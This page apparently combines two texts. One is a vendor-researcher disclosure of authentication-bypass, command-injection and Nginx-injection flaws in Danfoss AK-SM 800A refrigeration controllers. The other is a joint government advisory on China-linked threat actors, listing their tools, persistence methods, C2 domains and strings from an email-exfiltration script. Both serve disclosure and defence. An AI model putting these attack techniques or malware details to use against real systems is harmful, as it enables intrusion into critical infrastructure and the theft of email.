Executive Summary

Danfoss AK-SM 800A controllers are widely deployed to manage refrigeration infrastructure in supermarkets, cold-storage facilities, warehouses, and other commercial environments. Because these systems provide centralized management of refrigeration equipment, compromising the management interface can have significant operational consequences.

Team82 researched the attack surface of the Danfoss AK-SM 800A platform and identified multiple vulnerabilities affecting the embedded web management interface. Team82 disclosed the vulnerabilities to Danfoss, which addressed them in a new firmware version.

Our research uncovered a hidden "code-of-the-day" authentication mechanism that could be abused to bypass normal authentication, a command-injection vulnerability leading to remote code execution, and an issue allowing authenticated users to inject arbitrary Nginx configuration directives, which could be leveraged to manipulate web traffic and trigger a denial-of-service condition.

Our analysis began by examining the internet exposure of these devices, where we identified thousands of publicly accessible management interfaces. We then reverse engineered the firmware to reconstruct the architecture of the embedded web service, ultimately tracing each vulnerability from the HTTP request handlers down to the underlying implementation.

These findings demonstrate how undocumented functionality, insecure command construction, and dynamically modifiable web server configurations can combine to create powerful attack chains against internet-accessible cyber-physical systems.

In this blog, we will explain:

How we researched the Danfoss AK-SM 800A platform

Some details on the Code-of-the-Day vulnerability we uncovered

How we used CVE-2025-41451 to achieve remote code execution

The successful coordinated disclosure with Danfoss.

What is the Danfoss AK-SM 800A?

Danfoss is one of the largest manufacturers of refrigeration and HVAC equipment worldwide. Its solutions are deployed throughout supermarkets, cold-storage facilities, warehouses, and commercial buildings.

Among its management platforms is the AK-SM 800A, a centralized system manager responsible for coordinating refrigeration controllers throughout an installation.

The platform aggregates information from numerous field devices while providing operators with a web-based management interface for monitoring and configuring the entire refrigeration environment. Danfoss AK-SM 800A management panel.

From a single console, administrators can:

Monitor refrigeration circuits

Configure temperature thresholds

Review historical alarms

Adjust operating schedules

Configure notification services

Manage users and permissions

Perform maintenance activities remotely

The system effectively becomes the operational control center for Danfoss refrigeration infrastructure.

Because technicians frequently administer these systems remotely, the AK-SM 800A includes an embedded web server that exposes a browser-based management interface. This convenience significantly reduces maintenance costs, allowing engineers to troubleshoot problems without traveling to every installation. Measuring the Danfoss AK-SM 800A Attack Surface

Before diving into the firmware, we wanted to answer a simple but important question: could an attacker actually reach these systems in the first place?

Industrial control systems are often assumed to be safely tucked away on isolated networks. Unfortunately, that assumption doesn't always hold true.

To understand the real-world exposure of the Danfoss AK-SM 800A, we searched publicly available internet-wide scanning platforms, including Shodan and Censys, for signatures associated with its management interface. It didn't take long to find what we were looking for. Numerous controllers were directly accessible from the public Internet.

Many of these exposed systems displayed the distinctive HTTP/S title of the Danfoss StoreView management interface, suggesting that administrators had exposed the web console for remote management. 2765 exposed devices according to Censys AK-SM 800A devices scan.

For an attacker, this significantly lowers the barrier to entry. Instead of first compromising a corporate network or gaining physical access to a supermarket, they can simply scan for exposed controllers, identify devices running vulnerable firmware, and begin interacting directly with the embedded web application.

That discovery also influenced the direction of our research. While the controller supports multiple industrial communication protocols, the Internet-facing web interface represents the most realistic entry point for a remote attacker. As a result, we shifted our attention there first.

Once we started reverse engineering the firmware, it became clear that the web interface was much more than a simple management portal. Behind it was a surprisingly complex architecture, with multiple interacting components that ultimately became the focus of our security analysis.

Instead of a single HTTP server processing requests, the platform implemented multiple layers of reverse proxies, CGI handlers, and application logic spread across several independent processes.

Understanding this architecture became the key to discovering every vulnerability that followed. Web Service Architecture Breakdown

After extracting the firmware and examining the filesystem, we began identifying the binaries and configuration files responsible for servicing HTTP requests.

The first component we encountered was an externally exposed Nginx instance responsible for listening on the management ports used by the web interface. Rather than directly implementing application logic, this Nginx server acts primarily as a reverse proxy responsible for dispatching requests to other components within the system.

The main nginx.conf configuration file defines that requests with the suffixes .cgi will be routed into a CGI instance running on the system sm_fcgi_app. The CGI executable sm_fcgi_app handling the routed request is responsible for initial handling of the web request according to system configuration sm_fcgi_app.conf. sm_fcgi_app.conf configuration file

Inspecting the handling of the request inside the sm_fcgi_app executable, we understood that it implements initial processing of the request and then forwards it to the internal Nginx using the method forward_xml_request. Decompiled snippet of the sm_fcgi_app main function calling forward_xml_request

The internal Nginx instance is configured to listen on the local interface. Internal Nginx instance server configuration file.

Further down in the configuration, we found that requests targeting URLs with the .cgi suffix are forwarded to a separate CGI service running as part of a task created by the sm_app executable. This task, named Task_Web, implements the core logic of the device's web application. Once requests reach this component, they are fully parsed, processed, and dispatched to the appropriate application handlers. Uncovering the Code-of-the-Day (CVE-2025-41450)

Authentication code is often one of the most security-sensitive components of an embedded management platform. At this point, we focused on the request-processing logic responsible for user authentication. Specifically, we analyzed requests sent to the xml.cgi endpoint with the action="getauth" parameter. xml.cgi web service authentication request.

Analyzing the handling of this request led us to the xml_get_data function, which dispatches incoming requests to their corresponding action handlers based on the requested operation. In our case, the request was routed to the handler for the getauth action.

While analyzing this routine, we discovered a potential authentication bypass that allows an attacker to avoid the standard password verification performed against the user credentials stored on the system.

This behavior became apparent after we identified two request attributes (redacted) whose purpose was not immediately clear. When either of these attributes is included in a request, the authentication flow is redirected to a function that contains a code path leading to another function named check_code_of_day.

A closer examination of these functions revealed what appears to be a hidden authentication mechanism, likely intended for vendor support or maintenance. Instead of validating the configured administrator password, the application accepts a specially crafted authentication request containing a generated "code of the day."

Based on our analysis, this alternate authentication path is activated by setting specific request parameters to 1 and supplying a precomputed password. Rather than comparing this value against the configured user credentials, the application validates it against a password generated internally from the device's current date and time.

By reverse engineering the check_code_of_day routine, we were able to fully reconstruct the algorithm responsible for generating this daily authentication code. This demonstrated that anyone capable of reproducing the algorithm could generate valid authentication credentials without knowing the administrator's password. If discovered by a malicious actor, this hidden authentication mechanism could be abused to completely bypass the normal login process and gain administrative access to the device's web management interface. Team82 researched the attack surface of the Danfoss AK-SM 800A refrigeration controller platform and identified multiple vulnerabilities affecting the embedded web management interface. Team82 disclosed the vulnerabilities to Danfoss, which addressed them in a new firmware version. Successful exploits of the vulnerabilities, including a hidden check_code_of_day password generation and comparison function.

This routine generates a daily authentication password based solely on the device's current date. By reproducing the same algorithm, an attacker can generate a valid authentication code for any given day and use it to bypass the standard login process. Successful authentication through this hidden mechanism results in a fully authenticated administrative session, granting privileged access to the device's web management interface. Achieving Remote Code Execution (CVE-2025-41451)

Successfully bypassing authentication dramatically expanded the attack surface available for analysis. Instead of being limited to the small number of unauthenticated endpoints, we gained access to the device's full administrative interface and every management function it exposed. Like many embedded management platforms, the AK-SM 800A includes a wide range of configuration pages for network settings, alarm management, user administration, email notifications, logging, and system maintenance.

When reverse engineering embedded web applications, one of the first places we look is functionality that interacts with the underlying operating system. Configuration pages that invoke external utilities are particularly attractive because they often involve constructing shell commands from user-controlled input.

The SMTP Email configuration page quickly stood out. By tracing the request responsible for updating the email settings, we eventually reached the code responsible for constructing the command executed by the operating system.

The value fetched from item number 0x1be1 is formatted into the OS shell command. This is our email authentication password. The field value being formatted into the shell command is not sanitized according to our analysis and could potentially include OS shell directives that yield subsequent commands controlled by a potential attacker. Setting the Email configuration with command injection payloads. NGINX Configuration Injection (CVE-2025-41452)

During our analysis, we noticed that the externally exposed Nginx instance includes the configuration file headers.conf as part of its server configuration. Inclusion of the headers.conf inside our externally exposed Nginx instance server.

Further investigation revealed that the web application exposes functionality for replacing this file and reloading the external Nginx instance at runtime, effectively allowing new configuration directives to be applied without restarting the device. This capability is exposed through the action="load_nginx_headers" endpoint, which accepts the contents of a new headers.conf file via an authenticated file upload. xml_load_nginx_headers function handling headers.conf configuration file placement.

While testing this functionality, we discovered that an attacker could abuse it to implant arbitrary routing directives into the Internet-facing Nginx configuration. This allows an attacker to modify how requests are handled by the web server and potentially manipulate clients interacting with the device.

During further testing, we also identified an unexpected edge case. Requests directed to a maliciously implanted route triggered an unhandled exception inside the sm_app process responsible for servicing web requests. The resulting crash terminated the web service, allowing an authenticated attacker to repeatedly trigger a denial-of-service condition against the management interface. Coordinated Disclosure

Claroty Team82 privately reported these vulnerabilities to Danfoss through a coordinated vulnerability disclosure process. Danfoss investigated our findings and released firmware version R4.3.1, which addresses the vulnerabilities described in this research.

Customers using affected AK-SM 800A controllers should upgrade to firmware version R4.3.1 or later as soon as possible. Organizations should also avoid exposing management interfaces directly to the Internet and ensure that access to administrative services is restricted to trusted management networks or secured through VPNs and other appropriate network segmentation controls.

We appreciate the collaboration of the Danfoss Product Security Incident Response Team throughout the disclosure and remediation process.

---

Related vulnerabilities: CERTFR-2026-ALE-012CVE-2025-41451CVE-2025-41450CVE-2025-41452

Advisory at a Glance

Ref: https://www.cisa.gov/news-events/cybersecurity-advisories/aa26-281a

• Title : Original Publication 
• Chinese Government-linked Cyber Threat Actors Combine Automated and Hands-on Hacking Tools to Steal Sensitive Data : October 8, 2026 
• Title : Executive Summary 
• Chinese Government-linked Cyber Threat Actors Combine Automated and Hands-on Hacking Tools to Steal Sensitive Data : Chinese government-linked cyber threat actors, enabled by the Integrity Technology Group, are combining automated scanning tools, large-scale botnets, and hands-on exploitation techniques to target and steal sensitive data from organizations worldwide, including US critical infrastructure sectors. These actors exploit vulnerabilities by using scanning tools, cross-site scripting attacks, and password spraying on Microsoft Exchange servers, while establishing persistence through VPN software and exfiltrating emails and credentials using scripts. To help mitigate against this activity, organizations should prioritize disabling unused services and ports, sanitizing web application inputs to prevent injection attacks, implementing multifactor authentication for all services, and applying timely patches to reduce risks of compromise. 
• Title : Affected Products 
• Chinese Government-linked Cyber Threat Actors Combine Automated and Hands-on Hacking Tools to Steal Sensitive Data : CVE-2014-6278 CVE-2015-3306 CVE-2015-5477 CVE-2016-3081 CVE-2019-11510 CVE-2021-22205 CVE-2021-3199 CVE-2023-22894 
• Title : Key Actions 
• Chinese Government-linked Cyber Threat Actors Combine Automated and Hands-on Hacking Tools to Steal Sensitive Data : Disable unused services and ports, such as automatic configuration, remote access, or file sharing protocols. Sanitize user input in web applications to prevent possible cross-site scripting (XSS) payload injection. Implement identity, credential, and access management (ICAM) policies, and then require multifactor authentication (MFA) for services (to the extent possible). 
• Title : Indicators of Compromise 
• Chinese Government-linked Cyber Threat Actors Combine Automated and Hands-on Hacking Tools to Steal Sensitive Data : For a downloadable copy of indicators of compromise, see: AA26-281A STIX XMLAA26-281A STIX JSON
• Title : Intended Audience 
• Chinese Government-linked Cyber Threat Actors Combine Automated and Hands-on Hacking Tools to Steal Sensitive Data : Organizations: Government; Federal Civilian Executive Branch (FCEB); State, Local, Tribal, and Territorial (SLTT); Critical Infrastructure. Sectors: Government Services and Facilities, Critical Manufacturing, Healthcare and Public Health, and Information Technology. Roles: Defensive Cybersecurity Analysts, Vulnerability Analysts, Security Systems Managers, Incident Response Analysts

Introduction

Integrity Technology Group, a China-based company with links to the Chinese government, enables China-linked threat actors to exploit US and foreign organization networks across multiple sectors using various tools and techniques. This advisory provides an analysis of tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) from Integrity Technology Group and the threat actors they enable (hereafter referred to as “the threat actors”). The analysis in this advisory provides network defenders with detection and mitigation guidance to reduce the risk of threat actors compromising critical data. 

The threat actors use a unique combination of large-scale botnets, virtual private network (VPN) infrastructure, living-off-the-land (LOTL) techniques, and repositories of computer network exploitation (CNE) tools. Although these techniques are not unique to Chinese threat actors, this advisory details how the threat actors use them to support CNE activity. 

The threat actors targeted victims across multiple US critical infrastructure sectors, including: Government Services and Facilities, Critical Manufacturing, Healthcare and Public Health, and Information Technology. The actors also targeted victims in US law enforcement, education, and religious organizations, as well as organizations across Southeast Asia, Africa, and North America. 

The information in this advisory originates from technical evidence recovered from, and observed during, multiple Federal Bureau of Investigation (FBI) investigations related to Integrity Technology Group. 

The FBI, Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), United Kingdom National Cyber Security Centre (NCSC-UK), Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC), the Canadian Centre for Cyber Security (Cyber Centre), Japan’s National Police Agency (NPA) and National Cybersecurity Office (NCO), New Zealand’s National Cyber Security Centre (NCSC-NZ), and Spain’s Centro Nacional de Inteligencia (CNI), hereafter referred to as “the authoring organizations”—are releasing this joint cybersecurity advisory to urge network defenders from government and relevant organizations to: 

• Hunt for potential compromises from this activity. 
• Better protect against this threat activity and other Chinese government-linked cyber targeting. 

This advisory also provides our US federal, state, local, territorial, and tribal (FSLTT) government agencies, and international and industry partners, with the indicators and details necessary to proactively defend their networks against this threat and protect critical data. 

For more information on People’s Republic of China (PRC) state-sponsored malicious cyber activity in general, see the FBI’s Cyber Threat Overview: China webpage. For more information on China-linked malicious cyber activity, see CISA’s People’s Republic of China Threat Overview and Advisories webpage. 

The authoring organizations encourage network defenders to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of these incidents. 

Download the PDF version of this report:

For a downloadable copy of IOCs, see: 

Threat Actor Background

Integrity Technology Group (Integrity Tech) is a China-based for-profit company with links to the Chinese government. Integrity Tech employs individuals who support malicious cyber activity in different ways, including acquiring or building cyber tools for use and sale, acquiring and hosting infrastructure, and compromising networks across global victims, which the authoring organizations track as China-based malicious cyber activity. The services provided by Integrity Tech also contribute to the larger Chinese cyber ecosystem, which aims to exfiltrate sensitive data from victims around the world.

Notably, the threat actors enabled by Integrity Tech use TTPs consistent with the cyber activity publicly known as Flax Typhoon, Ethereal Panda, and Red Juliett, among others. However, these threat actors may also perform activity not associated with Integrity Tech. 

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors and these may not be a 1:1 correlation to the US Government's methodology and understanding for all activity related to these groupings. 

Technical Details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 19. See Appendix A: Indicators of Compromise and the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Reconnaissance

The threat actors use a variety of open source scanning tools to find vulnerabilities in networks and web-based applications, including: BBScan, dirsearch, Fscan, ksubdomain, masscan, NMAP, OneForAll, ShuiZe, and wpscan [T1595.002]. See Appendix A: Indicators of Compromise for a complete list of scanning tools. 

Some of these tools contain features useful for fingerprinting remote applications, testing remote authentication protocols, or enumerating the pages of a website. The use of open source tools typically found on GitHub suggests the threat actors tend to look for more vulnerable targets. In general, the threat actors focus on scanning ports 21 (file transfer protocol [FTP]), 22 (SSH), 53 (domain name system [DNS]), 80 (HTTP), 443 (HTTPS), and 1080 (SOCKS). When scanning websites with dirsearch, the threat actors attempt to enumerate PHP and ASP (.NET) pages. 

MicroScan

As early as 2017, these threat actors have also used a malicious application known as “MicroScan.” This Python-based web application contains over 1,300 penetration testing scripts written to scan websites for specific vulnerabilities. The threat actors used these scripts to target services including OpenSSL, Oracle WebLogic, Rejetto, WordPress, Juniper ScreenOS, Jenkins, and Apache Struts. See Appendix B: Observed Common Vulnerabilities and Exposures for a list of successfully exploited common vulnerabilities and exposures (CVEs) recovered from penetration testing scripts. Figure 1 shows a MicroScan account dashboard displaying detected vulnerabilities.

Figure 1. MicroScan Account Dashboard Showing Detected Vulnerabilities

Initial Access and Execution

Since at least mid-January 2021, the threat actors have gained access to victim networks and cloud-based services primarily through command line utilities built on exploit codes written in popular programming languages, such as Python and Go [T1059.006]. Additionally, the threat actors have used JavaScript [T1059.007] and HTML code to execute cross-site scripting (XSS) attacks. XSS vulnerabilities allow malicious actors to use unwitting third-party applications vulnerable to XSS to modify content on a webpage [T1189] and target other victims. 

During the investigations, the FBI recovered an XSS payload used by the threat actors. When executed on a vulnerable website running JavaScript, this payload modifies webpage content to display username and password fields, facilitating user credential harvesting (see Figure 2).

Figure 2. Executed XSS Payload

After a user enters any username and password, the executed XSS payload page generates a link to download a password-protected .zip file. The .zip file’s contents originate from encoded bytes within the XSS payload and contain the executable file live700_v1.exe. 

Analysis of live700_v1.exe demonstrated the executable begins a process named DiagTrack.exe, which shares its name with legitimate Windows software [T1036.003]. DiagTrack.exe then establishes encrypted communications over the HTTP protocol with the domain dns.studiocloud.xyz, which the FBI attributes to Integrity Tech. Given that the executable also contains functions designed to query data from user mailboxes, the FBI assesses the malware likely targets user email data for exfiltration. 

EBurst

The threat actors use EBurst, an open source Python-based tool, to target accounts in the Microsoft Office365 Cloud environment. The tool compromises email accounts on Microsoft Exchange servers using multiple interfaces for password spraying [T1110.003] and password guessing [T1110.001] against each supplied email address. Based on the open source EBurst ReadMe file, these interfaces include:

• Exchange Control Panel (ECP); 
• Exchange Web Services (EWS); 
• Offline Address Book (OAB); 
• Outlook Web Access (OWA); 
• Remote Procedure Call (RPC); 
• Application Programming Interface (API); 
• Messaging Application Programming Interface (MAPI); 
• PowerShell; 
• Autodiscover; and  
• Microsoft-Server-ActiveSync. 

Network defenders should include these interfaces when defending against EBurst. 

Persistence

To establish persistence, the threat actors install virtual private network (VPN) software clients on victim devices [T1133] to obfuscate command and control (C2) communications or other actions, further preventing victims from attributing malicious network activity. 

The threat actors typically download SoftEther installers onto victim devices from threat actor-controlled infrastructure using PowerShell or LOTL binaries for Windows Systems [T1059.001]. For Linux/Unix distributions, the threat actors download SoftEther installers via curl or wget. For either operating system, the actors configure the SoftEther client to automatically reconnect on startup. They often name the installers conhost.exe or dllhost.exe to appear as common Windows executables [T1036.003]. Additionally, endpoint detection software is less likely to flag SoftEther because it is a legitimate VPN software. 

In some observed cases, the threat actors stored the SoftEther program directly on the server. Analysis of these servers revealed victim domains and subdomains that hosted the SoftEther connections: 

• 98aiblog[.]com; 
• hmbcloud[.]com; 
• hmbcloud[.]net; 
• hmbiplc-01[.]com; 
• iepl.node[.]cm;  
• javacheck.ooguy[.]com; 
• javaupdate.giize[.]com; 
• sexytube0[.]com; and 
• twimg.co[.]uk. 

The threat actors use SoftEther to maintain persistent remote access to victim devices to enable data exfiltration. The FBI observed the threat actors installing the client on the end-user’s system, which connected to the C2 server using one of the identified domains, subdomains, or the server’s IP address. The threat actors also accessed other targets, including cybersecurity websites, connected to these hubs. 

Collection and Exfiltration

The FBI observed the threat actors downloading databases or manually pulling data from the victim emails and staging the exfiltration data with discreet file names to minimize detection of the MySQL email dump. Some of these names include: 

• 001.gif; 
• All_scanner_vXX.pl.gz (XX represents either a one- or two-digit number); 
• Css.js; 
• Include.png; 
• M2k.js; 
• M2k_list.js; and 
• M2k_ui_adm.js. 

Curlc4.txt

The FBI observed that the threat actors created a bot using the PHP script Curlc4.txt to obtain emails from victims. The script is specifically designed to interface with the Microsoft EWS API, which allows the threat actors to access email and content items, such as calendars and contacts [T1114.002]. 

Based on observations, the script appears to be stand-alone rather than installed on a compromised device. The script uploaded emails to a remote server [T1020], obfuscating many of the directories and files it created, and changed the name of the child process to crypto. 

The script downloaded the original file from https://upl.natcloudservice[.]com using IP address 149.28.132[.]137. The main C2 domain for the bot was natcloudservice[.]com, and the domain communicated with https://natcloudservice[.]com/ews and upl.natcloudservice[.]com/ews. Before exfiltration, the bot compressed emails. In some instances, the threat actor also used a password to encrypt emails using RC4 or AES-128-CBC [T1560.003]. 

The PHP script took up to two command-line arguments. The first argument appeared to be the root directory where the scripts execute. If the first argument was not supplied, then the script searched for a writeable directory [T1074.001] to use as its directory. The script searched the directories listed in Table 1 until it found a writeable one. The script stored the second command-line argument in a variable saved to the targeted system.

Table 1. Directories Searched by Curlc4 

Directory to Search	Subdirectories to Skip
/	/bin, /boot, /dev, /etc, /run, /proc, /sys, /var, /tmp, /usr
/home
/var/www
/usr
/var/tmp

The following is a list of unique strings found in the script:

• $dir/storage/fm/.run; 
• $dir/.run; 
• public $password='jh4jnryw76ikmh'; 
• public $file='/var/tmp/.sess.zip';
• https://upl.natcloudservice[.]com.ews; 
• public $key='rhnr5m54pk65wertc'; 
• $this->enc="r";this->cipher="rc4";this->iv=""; 
• $this->enc="a";this->cipher="aes-128-cbc";this->iv="1111111111111111"; 
• https://natcloudservice[.]com/ews; and 
• curl_setopt($this->ch, CURLOPT_HTTPHEADER,array("X-Id: $clientid")). 

Other directories and files that indicate this script may be executed on a system include: 

• RUNNING_DIRECTORY/storage/fm; 
• RUNNING_DIRECTORY /storage/fm.run (file); 
• RUNNING_DIRECTORY /.run; 
• RUNNING_DIRECTORY/clientid (file); and 
• RUNNING_DIRECTORY/cp (file). 

DC.exe

The threat actors used DC.exe to execute the DCSync replication technique [T1003.006] to copy sensitive information from the Active Directory (AD), including account credentials, group membership details, and trust relationships. DC.exe used a Remote Procedure Call (RPC) binding to the victim’s domain controller. The file then used the Directory Replication Service to retrieve data from the victim’s AD. Specifically, it retrieved a handle to the local security policy object, which is used to query the domain controller for the DNS domain name, domain security identifier (SID), and domain replication epoch. The file also used the following object IDs to retrieve information about Active Directory attributes and configurations: 

• 1.2.840.113556.1.2.48; 
• 1.2.840.113556.1.4.1; 
• 1.2.840.113556.1.4.125; 
• 1.2.840.113556.1.4.129; 
• 1.2.840.113556.1.4.133; 
• 1.2.840.113556.1.4.135; 
• 1.2.840.113556.1.4.146; 
• 1.2.840.113556.1.4.159; 
• 1.2.840.113556.1.4.160; 
• 1.2.840.113556.1.4.221; 
• 1.2.840.113556.1.4.27; 
• 1.2.840.113556.1.4.302; 
• 1.2.840.113556.1.4.55; 
• 1.2.840.113556.1.4.609; 
• 1.2.840.113556.1.4.656; 
• 1.2.840.113556.1.4.8; 
• 1.2.840.113556.1.4.90; 
• 1.2.840.113556.1.4.94; and 
• 1.2.840.113556.1.4.96. 

Data Exfiltration

The FBI recovered an archived email database the threat actors used to target email accounts of victim organizations. The threat actors collect account credentials and exfiltrate victim email data from on-premise systems and cloud-based services. Observed victims of email data theft included government organizations, law enforcement agencies, healthcare systems, and religious institutions located in Southeast Asia. In some instances, the threat actors restricted access to the exfiltrated data to only IP addresses from Xiamen, China. 

Office-cli Program

The threat actors use a command-line utility office-cli [T1059.004] to continuously target and access Microsoft Outlook 365 email accounts to exfiltrate emails across different time periods. The threat actors occasionally update these accounts and swap them for the most recent accounts. The threat actors use office-cli to automate access and exfiltration of mail content using configuration files, such as client_id, tenant_id, and secret.

The FBI observed the threat actors executing office-cli from the command line or by running it from a Bash script. In both instances, the threat actors place the JSON files required to access the mailboxes in the config directory. Additionally, office-cli saves data gathered from the victims in a subdirectory of the dump directory. The threat actors evade detection when using this program by using legitimate access methods.

The threat actors maintain a custom web application that provides third-party access to stolen email content. Users of this application can pass specific arguments in URLs to see email content for specific accounts.

Indicators of Compromise

See Appendix A: Indicators of Compromise for a list of all observed indicators.

MITRE ATT&CK Tactics and Techniques

See Table 2 to Table 9 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 2. Reconnaissance 

• Technique Title : Active Scanning: Vulnerability Scanning 
• ID : T1595.002 
• Use : The threat actors leverage several scanning tools to find vulnerabilities in networks and web-based applications. 

Table 3. Initial Access 

• Technique Title : Drive-by Compromise 
• ID : T1189 
• Use : The threat actors execute XSS attacks to leverage an unwitting third-party application to modify content on a webpage. 

Table 4. Execution 

• Technique Title : Command and Scripting Interpreter: PowerShell 
• ID : T1059.001 
• Use : The threat actors typically download SoftEther installers onto victim devices from threat actor controlled infrastructure using PowerShell. 
• Technique Title : Command and Scripting Interpreter: Unix Shell 
• ID : T1059.004 
• Use : The threat actors use office-cli, a Linux-based binary, to continuously target and access Microsoft Outlook 365 accounts. Office-cli automates exfiltration of mail content using configuration files, including account credentials. 
• Technique Title : Command and Scripting Interpreter: Python 
• ID : T1059.006 
• Use : The threat actors gain access to victim networks and cloud-based services primary through command-line utility tools based on exploit codes written in Python. 
• Technique Title : Command and Scripting Interpreter: JavaScript 
• ID : T1059.007 
• Use : The threat actors use JavaScript to execute XSS attacks. 

Table 5. Persistence 

• Technique Title  : External Remote Services 
• ID : T1133 
• Use : The threat actors install VPN software clients on victim devices to establish persistence and obfuscate C2 communications. 

Table 6. Defense Evasion 

• Technique Title  : Masquerading: Rename Legitimate Utilities 
• ID : T1036.003 
• Use : The threat actors run executables with the same name of a known, legitimate Windows software and installers to evade detection. 

Table 7. Credential Access 

• Technique Title  : OS Credential Dumping: DCSync 
• ID : T1003.006 
• Use : The threat actors use DC.exe to execute the DCSync replication technique to copy sensitive information from the Active Directory. 
• Technique Title  : Brute Force: Password Guessing 
• ID : T1110.001 
• Use : The threat actors use eburst.py to conduct password guessing to compromise email accounts on Microsoft Exchange servers. 
• Technique Title  : Brute Force: Password Spraying 
• ID : T1110.003 
• Use : The threat actors use eburst.py to conduct password spraying to compromise email accounts on Microsoft Exchange servers. 

Table 8. Collection 

• Technique Title  : Email Collection: Remote Email 
• ID : T1114.002 
• Use : The threat actors use the PHP script to interface with the Microsoft EWS API, enabling them to access email and content items. 
• Technique Title  : Archive Collection Data: Archive via Custom Method 
• ID : T1560.003 
• Use : The threat actors use a custom bot to compress, and in some cases encrypt, files prior to exfiltration. 
• Technique Title  : Data Staged: Local Data Staging 
• ID : T1074.001 
• Use : The PHP script searches for a writeable directory to use as its directory. 

Table 9. Exfiltration 

• Technique Title  : Automated Exfiltration 
• ID : T1020 
• Use : The threat actors leverage the PHP script to automatically upload emails to a remote server. 

Incident Response

If a potential compromise is detected, organizations should take the following actions: 

1. Determine which hosts were compromised and isolate them by quarantining or taking them offline.  
2. Initiate threat hunting activities to scope the intrusion.  
   1. Collect and review relevant artifacts, logs, and other data to identify threat actor TTPs, compromised devices and accounts, a timeline of activity, etc.  
3. Follow national guidelines and requirements in your country on reporting cyber incidents (see Contact Information). 
4. Apply eviction countermeasures to contain the incident and eradicate the threat actor from the network.
   1. Start applying countermeasures after collecting enough threat hunting data to inform effective countermeasure selection; this will likely overlap with threat hunting activities): 
   2. Use CISA’s Eviction Strategies Tool to assemble countermeasures for a systematic eviction plan—the tool comprises Playbook-NG (a web application) and COUN7ER (a database of post-compromise countermeasures mapped to adversary TTPs).  
      1. Use Playbook-NG and COUN7ER together to assemble a systematic eviction plan, or playbook, that leverages distinct countermeasures to contain and evict cyber threat actors.  
      2. The playbook features a list of recommended response actions based on threat actor TTPs and includes each action’s intended outcome, preparatory steps, and associated risks. For more information, see CISA’s Eviction Strategies Tool Fact Sheet. 
5. Harden the network to prevent additional malicious activity (see Mitigations for guidance). 

Mitigations

The authoring organizations recommend network defenders and organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. 

The authoring organizations recommend network defenders and organizations implement these mitigations:

• Disable unused services and ports, such as automatic configuration, remote access, or file sharing protocols. 
  • Configure applications to reveal as little information as possible when serving login pages or banner information in response to external requests. 
  • Consider using an attack surface management service or web-based search platforms that search the internet to identify exposed services or ports [CPG 3.S]. For additional support, follow CISA’s Internet Exposure Reduction Guidance and NSA’s Attack Surface Management. 
• Sanitize user input in web applications to prevent possible XSS payload injection. 
• Implement identity, credential, and access management (ICAM) policies across the organization and then require multifactor authentication (MFA) [CPG 3.F] for all services (to the extent possible), particularly for webmail, VPNs, and accounts that access critical systems. 
• Replace default passwords with strong passwords [CPG 3.A]. 
  • Limit and audit user accounts with administrative privileges and configure access controls with least privilege in mind.  
  • Ensure only users that need administrator privileges are granted these privileges, and regularly review access to assess whether it is still required [CPG 3.G]. 
• Enable download and domain reputation screening in web browsers, along with protective DNS resolution, to block downloads of known malware and connections to websites and domains with unsafe reputations. 
• Monitor for signs of unauthorized use of LOTL tools and unexpected Active Directory replication [CPG 4.B]. 
• Implement network segmentation to ensure a compromised device has no access to sensitive resources of another organizational unit [CPG 3.I]. 
  • Use the principle of least privilege to provide just enough connectivity for devices to perform their intended functions [CPG 3.H]. 
  • For a less resource constrictive mitigation, organizations may segment edge devices internally. 
• Monitor cloud accounts for connected applications that can access sensitive data in file systems and email data. 
• Review web application access logs for signs of exploitation attempts, such as malicious directory traversal attempts, command injection attempts, or enumeration attempts [CPG 3.Q]. 
• Apply patches and updates, including software and firmware updates (regular patching mitigates many high-risk security vulnerabilities) [CPG 2.B]. 
  • If available, use automatic update channels from trusted network locations. 
  • Do not trust email messages claiming to provide software updates as attachments or via links to untrusted websites. 
• Install and regularly update antivirus software on all hosts and enable real time detection. 
• Monitor for abnormal and high volumes of unexpected traffic (scanning) using firewalls and/or intrusion detection systems [CPG 4.B]. 
  • Since an attempted compromise using a distributed denial of service (DDoS) technique may appear as normal traffic, it is critical for organizations to define, monitor, and prepare for abnormal traffic volumes. 
• Monitor for high volumes of outbound or upload traffic from workstations or other devices that usually have low volumes of uploads compared to downloads. 
• Monitor logs and investigate unusual IP addresses and ports in command lines, registry entries, and firewall logs to identify other hosts that are potentially involved in actor actions [CPG 3.Q]. 
  • Review perimeter firewall configurations for unauthorized changes and/or entries that may permit external connections to internal hosts. 
• Monitor for abnormal account activity, such as logons outside of normal working hours and impossible time and distance logons (e.g., a user logging on from two geographically separated locations at the same time) [CPG 4.B]. 
• Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, or the cloud) [CPG 1.C]. 
• Regularly back up data and password protect backup copies offline [CPG 3.O]. 
  • Ensure copies of critical data are not accessible for modification or deletion from the system where data resides. 
• Replace end-of-life products with supported alternatives that are included in vendor support plans. 
• Ensure systems use the strongest feasible form of authentication [CPG 3.B; CPG 3.F]. 
• Harden authentication protocols and access lists [CPG 3.H]. 
  • Regularly rotate keys for your service accounts, use strong key lengths to enhance security and minimize the risk of key compromise, and implement role-based access control (RBAC) to avoid granting excess privileges. 
• Provide cyber security awareness and training [CPG 3.J]. 
  • Regularly train users on information security principles and techniques, as well as overall emerging cybersecurity risks and vulnerabilities (e.g., ransomware and phishing scams). 
